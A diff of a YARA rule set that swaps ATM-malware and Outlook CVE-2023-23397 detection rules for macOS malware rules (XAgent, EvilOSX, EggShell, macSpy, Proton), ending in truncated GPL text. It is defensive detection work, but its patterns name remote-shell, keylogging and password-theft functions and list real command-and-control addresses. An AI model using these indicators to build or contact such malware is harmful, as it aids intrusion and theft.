-		tags = "FILE"
+		quality = 30
+		tags = ""
 
 	strings:
-		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii nocase
-		$String2 = "CurrencyDispenser1" ascii nocase
-		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
+		$a1 = ">> New Session created" wide ascii
+		$a2 = ">> Session unexpectedly closed" wide ascii
+		$a3 = ">> Session closed" wide ascii
+		$a4 = "session unexpectedly closed" wide ascii
+		$a5 = "cmd" fullword wide ascii
+		$a6 = "/K" fullword wide ascii
+		$b1 = "echo DONT CLOSE THIS WINDOW!" wide ascii
+		$b2 = "ping -n 20 localhost > nul" wide ascii
+		$b3 = "Downloading file..." wide ascii
+		$b4 = "Visited Website" wide ascii
+		$b5 = "Adding Autostart Item failed!" wide ascii
+		$b6 = ":Zone.Identifier" wide ascii
+		$c1 = "GetDrives I/O error" wide ascii
+		$c2 = "/r /t 0" wide ascii
+		$c3 = "desktop.ini" wide ascii
+		$c4 = "WAN IP Address" wide ascii
+		$c5 = "User refused the elevation request." wide ascii
+		$c6 = "Process already elevated." wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <100KB and all of ($String*) and $Code
+		5 of ($a*) or 5 of ($b*) or 5 of ($c*)
 }
-rule R3C0NST_ATM_Malware_Ripper : ATMRIPPER MALWARE FILE
+rule BINARYALERT_Malware_Macos_Apt_Sofacy_Xagent
 {
 	meta:
-		description = "Rule detects Thailand ATM Jackpot malware RIPPER (unpacked)"
-		author = "Frank Boldewin"
-		id = "38dfda5b-45cc-55d4-b619-91fa31c09a09"
-		date = "2016-08-01"
-		modified = "2019-02-27"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ripper.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "bb7b474330defe6d071b9595687d4510961055fa243a26306698c1e029a935f1"
+		description = "sofacy xagent for macOS"
+		author = "@mimeframe"
+		id = "91bef771-2ef1-58f6-ae01-3bdde4cc003c"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://blog.malwarebytes.com/cybercrime/2017/03/two-new-mac-backdoors-discovered/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_apt_sofacy_xagent.yara#L3-L62"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "4fe4b9560e99e33dabca553e2eeee510"
+		logic_hash = "d4b1096e4aeb8382e5abf93d3ecf71cd6ae2ed7afbc9a38549a2fc2739539674"
 		score = 75
-		quality = 90
-		tags = "ATMRIPPER, MALWARE, FILE"
-		malware_family = "ATM-malware RIPPER"
+		quality = 55
+		tags = ""
 
 	strings:
-		$Card_Hash1 = "be59a724feae790b3f315edf71a8450888c021f113e3c2b471e174130c201852" nocase ascii
-		$Card_Hash2 = "f26a57da928d6f3e3480dfc7d03761161191bdb170e10ca15c7ac5de6912945c" nocase ascii
-		$Card_Hash3 = "692cdaf6e42ab3a4f307e5d047249f7b30ceddd6bc88f22ca032412419bd62b7" nocase ascii
-		$Card_Hash4 = "0679c7c0c9b0d6919c12cbc087e942d7bf48d3a78cd3ec80321fbfd1b33a1904" nocase ascii
-		$Code_Bytes1 = { 68 CB 00 00 00 50 FF 15 ?? ?? ?? ?? EB 19 }
-		$Code_Bytes2 = { E8 ?? ?? ?? ?? 83 C4 18 6A 02 53 53 FF 15 ?? ?? ?? ?? 68 74 12 43 00 8D 55 A4 }
-		$Service = "DBACKUP SERVICE" nocase wide
+		$a1 = "remoteShell" ascii wide
+		$a2 = "getInfoOSX" ascii wide
+		$a3 = "ftpUpload" ascii wide
+		$a4 = "startUploading" ascii wide
+		$a5 = "deleteFile:" ascii wide
+		$a6 = "executeShellCommand" ascii wide
+		$a7 = "getFirefoxPassword" ascii wide
+		$a8 = "generateRandomPathAndName" ascii wide
+		$a9 = "createCryptPacket" ascii wide
+		$a10 = "CameraShot" ascii wide
+		$a11 = "7Cryptor" ascii wide
+		$a12 = "8ICryptor" ascii wide
+		$a13 = "Keylogger" ascii wide
+		$a14 = "BootXLoader" ascii wide
+		$a15 = "InjectApp" ascii wide
+		$b1 = "/Project/XAgentOSX/" ascii wide
+		$b2 = "XLoader_OSX" fullword ascii wide
+		$b3 = "<span class='keylog_user_keys'>" ascii wide
+		$b4 = "<span class='keylog_process'>" ascii wide
+		$b5 = "<span class='keylog_spec_key'>" ascii wide
+		$b6 = "<font size=4 color=red><pre>Stop take screenshot</pre></font>" ascii wide
+		$c1 = "http://23.227.196.215/" ascii wide
+		$c2 = "http://apple-iclods.org/" ascii wide
+		$c3 = "http://apple-checker.org/" ascii wide
+		$c4 = "http://apple-uptoday.org/" ascii wide
+		$c5 = "http://apple-search.info" ascii wide
+		$d1 = "watch/?" fullword ascii wide
+		$d2 = "search/?" fullword ascii wide
+		$d3 = "find/?" fullword ascii wide
+		$d4 = "results/?" fullword ascii wide
+		$d5 = "open/?" fullword ascii wide
+		$d6 = "search/?" fullword ascii wide
+		$d7 = "close/?" fullword ascii wide
+		$e1 = "itwm=" fullword ascii wide
+		$e2 = "text=" fullword ascii wide
+		$e3 = "from=" fullword ascii wide
+		$e4 = "itwm=" fullword ascii wide
+		$e5 = "ags=" fullword ascii wide
+		$e6 = "btnG=" fullword ascii wide
+		$e7 = "oprnd=" fullword ascii wide
+		$e8 = "itwm=" fullword ascii wide
+		$e9 = "utm=" fullword ascii wide
+		$e10 = "channel=" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 2 of ($Card_Hash*) and all of ($Code_Bytes*) and filesize <400KB and ($Service in (0x2f000..0x30000))
+		BINARYALERT_Macho_PRIVATE and (5 of ($a*) or any of ($b*) or any of ($c*) or 4 of ($d*) or 5 of ($e*))
 }
-import "pe"
-
-rule R3C0NST_ATM_CINEO4060_Blackbox : FILE
+rule BINARYALERT_Malware_Macos_Marten4N6_Evilosx
 {
 	meta:
-		description = "Detects Malware samples for Diebold Nixdorf CINEO 4060 ATMs used in blackboxing attacks across Europe since May 2021"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "8fa26e1c-2931-59c8-9cec-20dc6684b8d6"
-		date = "2021-05-25"
-		modified = "2022-06-21"
-		reference = "https://twitter.com/r3c0nst/status/1539036442516660224"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM_CINEO4060_Blackbox.yar#L3-L27"
-		license_url = "N/A"
-		logic_hash = "80b919d03c1b9a198611994eaf2fafaf8254c73a6f0edb53b2b3eb90ea70d915"
+		description = "EvilOSX is a pure python, post-exploitation, RAT (Remote Administration Tool) for macOS / OSX."
+		author = "@mimeframe"
+		id = "2b2e62ca-f95c-55c5-aaf6-985aab49dfbb"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/Marten4n6/EvilOSX"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_marten4n6_evilosx.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "3402ebf34fd507d0c317416bf77bb3d51b67c8b0f099ce68d15ade6a6a2e302a"
 		score = 75
-		quality = 90
-		tags = "FILE"
+		quality = 80
+		tags = ""
 
 	strings:
-		$MyAgent1 = "javaagentsdemo/ClassListingTransformer.class" ascii fullword
-		$MyAgent2 = "javaagentsdemo/MyUtils.class" ascii fullword
-		$MyAgent3 = "javaagentsdemo/SimplestAgent.class" ascii fullword
-		$Hook = "### [HookAPI]: Switching context!" fullword ascii
-		$Delphi = "Borland\\Delphi\\RTL" fullword ascii
-		$WMIHOOK1 = "TPM_SK.DLL" fullword ascii
-		$WMIHOOK2 = "GetPCData" fullword ascii
-		$WMIHOOK3 = {60 9C A3 E4 2B 41 00 E8 ?? ?? ?? ?? 9D 61 B8 02 00 00 00 C3}
-		$TRICK1 = "USERAUTH.DLL" fullword ascii
-		$TRICK2 = "GetAllSticksByID" fullword ascii
-		$TRICK3 = {6A 06 8B 45 FC 8B 00 B1 4F BA 1C 00 00 00}
+		$a1 = "icloud_phish_stop" fullword wide ascii
+		$a2 = "icloud_contacts" fullword wide ascii
+		$a3 = "itunes_backups" fullword wide ascii
+		$a4 = "chrome_passwords" fullword wide ascii
+		$a5 = "Starting EvilOSX..." wide ascii
 
 	condition:
-		( uint16(0)==0x4b50 and filesize <50KB and all of ($MyAgent*)) or ( uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and $Hook and $Delphi and all of ($WMIHOOK*) or all of ($TRICK*))
+		4 of ($a*)
 }
-rule R3C0NST_Exploit_Outlook_CVE_2023_23397 : CVE_2023_23397 FILE
+rule BINARYALERT_Malware_Macos_Neoneggplant_Eggshell
 {
 	meta:
-		description = "Detects Outlook appointments exploiting CVE-2023-23397"
-		author = "Frank Boldewin"
-		id = "7e355e5f-93ca-561d-9a12-f73f1d429e4d"
-		date = "2023-03-19"
-		modified = "2023-03-25"
-		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Exploit_Outlook_CVE_2023_23397.yar#L1-L30"
-		license_url = "N/A"
-		logic_hash = "1847e8223b2f6d3ec5108e15ee46ef031ee1e26d3a5e8ed4a70c77b031f6a5b6"
-		score = 75
-		quality = 86
-		tags = "CVE-2023-23397, FILE"
-		Author = "Frank Boldewin (@r3c0nst)"
-		Hash1 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f"
-		Hash2 = "a034427fd8524fd62380c881c30b9ab483535974ddd567556692cffc206809d1"
-		Hash3 = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
-		Hash4 = "1543677037fa339877e1d6ef2d077f94613afbcd6434d7181a18df74aca7742b"
+		description = "EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python."
+		author = "@mimeframe"
+		id = "274a34cc-9403-50e6-aa64-683a41bc30e6"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/neoneggplant/EggShell"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_neoneggplant_eggshell.yara#L1-L24"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "34906db9398313ccb84e67bd98e94324c628aefe3efa6ba3cca2df042b42cbe7"
+		score = 50
+		quality = 80
+		tags = ""
 
 	strings:
-		$ipmtask = "IPM.Task" wide ascii
-		$ipmappointment = "IPM.Appointment" wide ascii
-		$ipmtaskb64 = "IPM.Task" base64 base64wide
-		$ipmappointmentb64 = "IPM.Appointment" base64 base64wide
-		$unc_path1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00|3? 00 3? 00|3? 00 3? 00 3? 00) }
-		$unc_path2 = { 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3?|3? 3?|3? 3? 3?) }
-		$unc_a = "\x00\x00\x00\x5c\x5c" base64
-		$unc_w = "\x00\x00\x5c\x00\x5c" base64wide
-		$mail1 = "from:" ascii wide nocase
-		$mail2 = "received:" ascii wide nocase
+		$a1 = "Created By Lucas Jackson (@neoneggplant)" wide ascii
+		$a2 = "SET LHOST (Leave blank for" wide ascii
+		$a3 = "SET LPORT (Leave blank for" wide ascii
+		$b1 = "/tmp/.esplog" wide ascii
+		$b2 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
+		$b3 = "keylogclear" wide ascii
+		$b4 = "getpasscode" wide ascii
+		$c1 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
+		$c2 = "getfacebook" wide ascii
+		$c3 = "type is eggsu" wide ascii
+		$c4 = "rmpersistence" wide ascii
 
 	condition:
-		(( uint32be(0)==0xD0CF11E0 or uint32be(0)==0x789F3E22) or ( all of ($mail*))) and (($ipmtask or $ipmappointment) or ($ipmtaskb64 or $ipmappointmentb64)) and (($unc_path1 or $unc_path2) or ($unc_a or $unc_w))
+		all of ($a*) or 3 of ($b*) or 3 of ($c*)
 }
-import "hash"
+import "pe"
 
-rule R3C0NST_ATM_Malware_Atmspitter : FILE
+rule BINARYALERT_Malware_Macos_Macspy : FILE
 {
 	meta:
-		description = "Detects ATM Malware ATMSpitter"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "4497f304-6f04-5f5d-91ba-9124e5262078"
-		date = "2016-07-20"
-		modified = "2019-03-29"
-		reference = "https://topics.amcham.com.tw/2017/02/looking-back-at-the-first-banks-atm-heist/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMSpitter.yar#L3-L21"
-		license_url = "N/A"
-		hash = "658b0502b53f718bd0611a638dfd5969"
-		logic_hash = "684820ed29c50a41bd262862cb97c70c0cbb8554e7e4be300986519423249c50"
+		description = "macSpy is a malware-as-a-service (MaaS) product advertised as the most sophisticated Mac spyware ever"
+		author = "AlienVault Labs"
+		id = "5f9a5ed5-a982-552c-a6df-326228eaf459"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_macspy.yara#L3-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "6c03e4a9bcb9afaedb7451a33c214ae4"
+		logic_hash = "f04648860c9602e43516113000908008847dacfbe189d79e13737bcd034b68a0"
 		score = 75
-		quality = 65
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$Code_Bytes = { B9 E0 07 00 00 66 ?? ?? ?? ?? 0F 85 DD 02 00 00 66 ?? ?? ?? ?? ?? 0F 85 D1 02 00 00 }
-		$Service = "Congratulations! You are very skilled in reverse engineering!" nocase ascii
+		$header0 = {cf fa ed fe}
+		$header1 = {ce fa ed fe}
+		$header2 = {ca fe ba be}
+		$c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 }
 
 	condition:
-		(hash.sha256(0, filesize )=="4035d977202b44666885f9781ac8755c799350a03838ff782eb730c0d7069958") or ($Code_Bytes and $Service)
+		($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1
 }
-rule R3C0NST_UNC2891_Steelcorgi : FILE
+rule BINARYALERT_Malware_Macos_Proton_Rat_Generic
 {
 	meta:
-		description = "Detects UNC2891 Steelcorgi packed ELF binaries"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "94da7da5-5fc3-5221-97d6-1854aa7b1959"
-		date = "2022-03-30"
-		modified = "2023-01-05"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Steelcorgi.yar#L1-L17"
-		license_url = "N/A"
-		logic_hash = "4f956b9eaec66bc606ffd0afa2fe9303194e9a8c12d4c3de6ab2334c9856dd99"
+		description = "No description has been set in the source file - BinaryAlert"
+		author = "@mimeframe"
+		id = "75cfaaff-e8d7-5cd4-953b-7d2011139725"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://objective-see.com/blog/blog_0x1D.html"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_proton_rat_generic.yara#L3-L21"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "6a2d0c8b20efc3fa283176a4bc76d6fd"
+		logic_hash = "b7d8660320564cba1d8e2d53d1fdc75509140c7e87a572b27931c62201df2d22"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170"
-		hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5"
-		hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547"
+		quality = 64
+		tags = ""
 
 	strings:
-		$pattern1 = {70 61 64 00 6C 63 6B 00}
-		$pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65}
+		$a1 = "SRWebSocket" nocase wide ascii
+		$a2 = "SocketRocket" nocase wide ascii
+		$b1 = "SSH tunnel not launched" nocase wide ascii
+		$b2 = "SSH tunnel still running" nocase wide ascii
+		$b3 = "SSH tunnel already launched" nocase wide ascii
+		$b4 = "Entering interactive session." nocase wide ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		BINARYALERT_Macho_PRIVATE and any of ($a*) and any of ($b*)
 }
-/*
- * YARA Rule Set
- * Repository Name: CAPE
- * Repository: https://github.com/kevoreilly/CAPEv2
- * Retrieval Date: 2024-08-04
- * Git Commit: f9f935f924c6612b13b8f103f53643718282f24b
- * Number of Rules: 95
- * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * Cuckoo Sandbox is copyrighted by the Cuckoo Foundation and is licensed under
-the following GNU General Public License version 3.
-
-                    GNU GENERAL PUBLIC LICENSE
-                       Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-                            Preamble
-
-  The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
-  The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works.  By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users.  We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors.  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
-  To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights.  Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received.  You must make sure that they, too, receive
-or can get the source code.  And you must show them these terms so they
-know their rights.
-
-  Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
-  For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software.  For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
-  Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so.  This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software.  The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable.  Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products.  If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
-  Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary.  To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-                       TERMS AND CONDITIONS
-
-  0. Definitions.
-
-  "This License" refers to version 3 of the GNU General Public License.
-
-  "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
-  "The Program" refers to any copyrightable work licensed under this
-License.  Each licensee is addressed as "you".  "Licensees" and
-"recipients" may be individuals or organizations.
-
-  To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy.  The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
-  A "covered work" means either the unmodified Program or a work based
-on the Program.
-
-  To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy.  Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
-  To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies.  Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
-  An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License.  If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
-  1. Source Code.
-
-  The "source code" for a work means the preferred form of the work
-for making modifications to it.  "Object code" means any non-source
-form of a work.
-
-  A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
-  The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form.  A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
-  The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities.  However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work.  For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
-  The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
-  The Corresponding Source for a work in source code form is that
-same work.
-
-  2. Basic Permissions.
-
-  All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met.  This License explicitly affirms your unlimited
-permission to run the unmodified Program.  The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work.  This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
-  You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force.  You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright.  Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
-  Conveying under any other circumstances is permitted solely under
-the conditions stated below.  Sublicensing is not allowed; section 10
-makes it unnecessary.
-
-  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
-  No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
-  When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
-  4. Conveying Verbatim Copies.
-
-  You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
-  You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
-  5. Conveying Modified Source Versions.
-
-  You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
-    a) The work must carry prominent notices stating that you modified
-    it, and giving a relevant date.
-
-    b) The work must carry prominent notices stating that it is
-    released under this License and any conditions added under section
-    7.  This requirement modifies the requirement in section 4 to
-    "keep intact all notices".
-
-    c) You must license the entire work, as a whole, under this
-    License to anyone who comes into possession of a copy.  This
-    License will therefore apply, along with any applicable section 7
-    additional terms, to the whole of the work, and all its parts,
-    regardless of how they are packaged.  This License gives no
-    permission to license the work in any other way, but it does not
-    invalidate such permission if you have separately received it.
-
-    d) If the work has interactive user interfaces, each must display
-    Appropriate Legal Notices; however, if the Program has interactive
-    interfaces that do not display Appropriate Legal Notices, your
-    work need not make them do so.
-
-  A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit.  Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
-  6. Conveying Non-Source Forms.
-
-  You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
-    a) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by the
-    Corresponding Source fixed on a durable physical medium
-    customarily used for software interchange.
-
-    b) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by a
-    written offer, valid for at least three years and valid for as
-    long as you offer spare parts or customer support for that product
-    model, to give anyone who possesses the object code either (1) a
-    copy of the Corresponding Source for all the software in the
-    product that is covered by this License, on a durable physical
-    medium customarily used for software interchange, for a price no
-    more than your reasonable cost of physically performing this
-    conveying of source, or (2) access to copy the
-    Corresponding Source from a network server at no charge.
-
-    c) Convey individual copies of the object code with a copy of the
-    written offer to provide the Corresponding Source.  This
-    alternative is allowed only occasionally and noncommercially, and
-    only if you received the object code with such an offer, in accord
-    with subsection 6b.
-
-    d) Convey the object code by offering access from a designated
-    place (gratis or for a charge), and offer equivalent access to the
-    Corresponding Source in the same way through the same place at no
-    further charge.  You need not require recipients to copy the
-    Corresponding Source along with the object code.  If the place to
-    copy the object code is a network server, the Corresponding Source
-    may be on a different server (operated by you or a third party)
-    that supports equivalent copying facilities, provided you maintain
-    clear directions next to the object code saying where to find the
-    Corresponding Source.  Regardless of what server hosts the
-    Corresponding Source, you remain obligated to ensure that it is
-    available for as long as needed to satisfy these requirements.
-
-    e) Convey the object code using peer-to-peer transmission, provided
-    you inform other peers where the object code and Corresponding
-    Source of the work are being offered to the general public at no
-    charge under subsection 6d.
-
-  A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
-  A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling.  In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage.  For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product.  A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
-  "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source.  The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
-  If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information.  But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
-  The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed.  Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
-  Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
-  7. Additional Terms.
-
-  "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
